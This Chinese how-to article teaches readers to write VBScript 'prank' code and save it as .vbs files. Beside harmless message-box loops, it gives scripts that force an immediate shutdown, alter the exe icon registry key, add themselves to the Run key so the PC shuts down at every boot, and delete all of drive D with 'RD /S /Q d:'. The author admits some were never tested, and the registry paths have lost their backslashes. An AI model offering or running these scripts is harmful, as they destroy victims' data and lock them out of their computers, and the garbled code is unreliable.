怎么制作vbs整人代碼 vbs整人代碼制作方法一覽

最近勒索病毒火爆一時(shí)，人們談毒色變，讓病毒這一網(wǎng)絡(luò)安全問題重新使人重視起來，下面小編就為大家?guī)韛bs整人代碼制作方法一覽。

怎么制作vbs整人代碼

1、首先，打開記事本。

2、輸入代碼(整人級)：

　　01'--------------------------------1-關(guān)不掉的窗口--------------------------------do while(1)MsgBox("哈哈，你關(guān)不掉我!")loop'--------------------------------------------------------------------------------'-----------------------------------2-輸入“我是豬”--------------------------do while(a<>"我是豬")a=inputbox("快在下面的框里輸入我是豬")if(a<>"我是豬") thenMsgBox("趕緊承認(rèn)!!!")end ifloop'--------------------------------------------------------------------------------

　　3、(中等)：

　　01'--------------------------------3-直接關(guān)機(jī)------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe圖標(biāo)------------------------------------Dim OperationRegistrySet OperationRegistry=WScript.CreateObject("WScript.Shell")OperationRegistry.RegWrite "HKCRexefileDefaultIcon","C:WindowsSystem32imageres.dll,-2" '這里的C:WindowsSystem32imageres.dll,-2可以改成任意路徑'--------------------------------------------------------------------------------

4、(破壞級)如果無法恢復(fù)，不要怪我咯*_*：

　　01'------!!注意危險(xiǎn)!! 5-開機(jī)一完畢就關(guān)機(jī)(計(jì)算機(jī)無法使用) !!注意危險(xiǎn)!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRun"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危險(xiǎn)!! 6-格式化D盤(D盤下所有文件被刪除) !!注意危險(xiǎn)!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:",0,ture'--------------------------------------------------------------------------------

　　如果代碼有問題，無法實(shí)現(xiàn)應(yīng)有效果，請?jiān)彙?一些vbs破壞性太強(qiáng)，我不敢實(shí)驗(yàn))

　　5、保存：按下Ctrl+S快捷鍵，在彈出的窗口中選擇文件類型：所有文件(*.*)，在文件名處輸入文件名，在文件名后面輸入“.vbs”或“.vbe”，保存。

注意事項(xiàng)：

這些代碼僅用于整人，不可以利用這些代碼做違法的事情!

關(guān)鍵詞： vbs整人代碼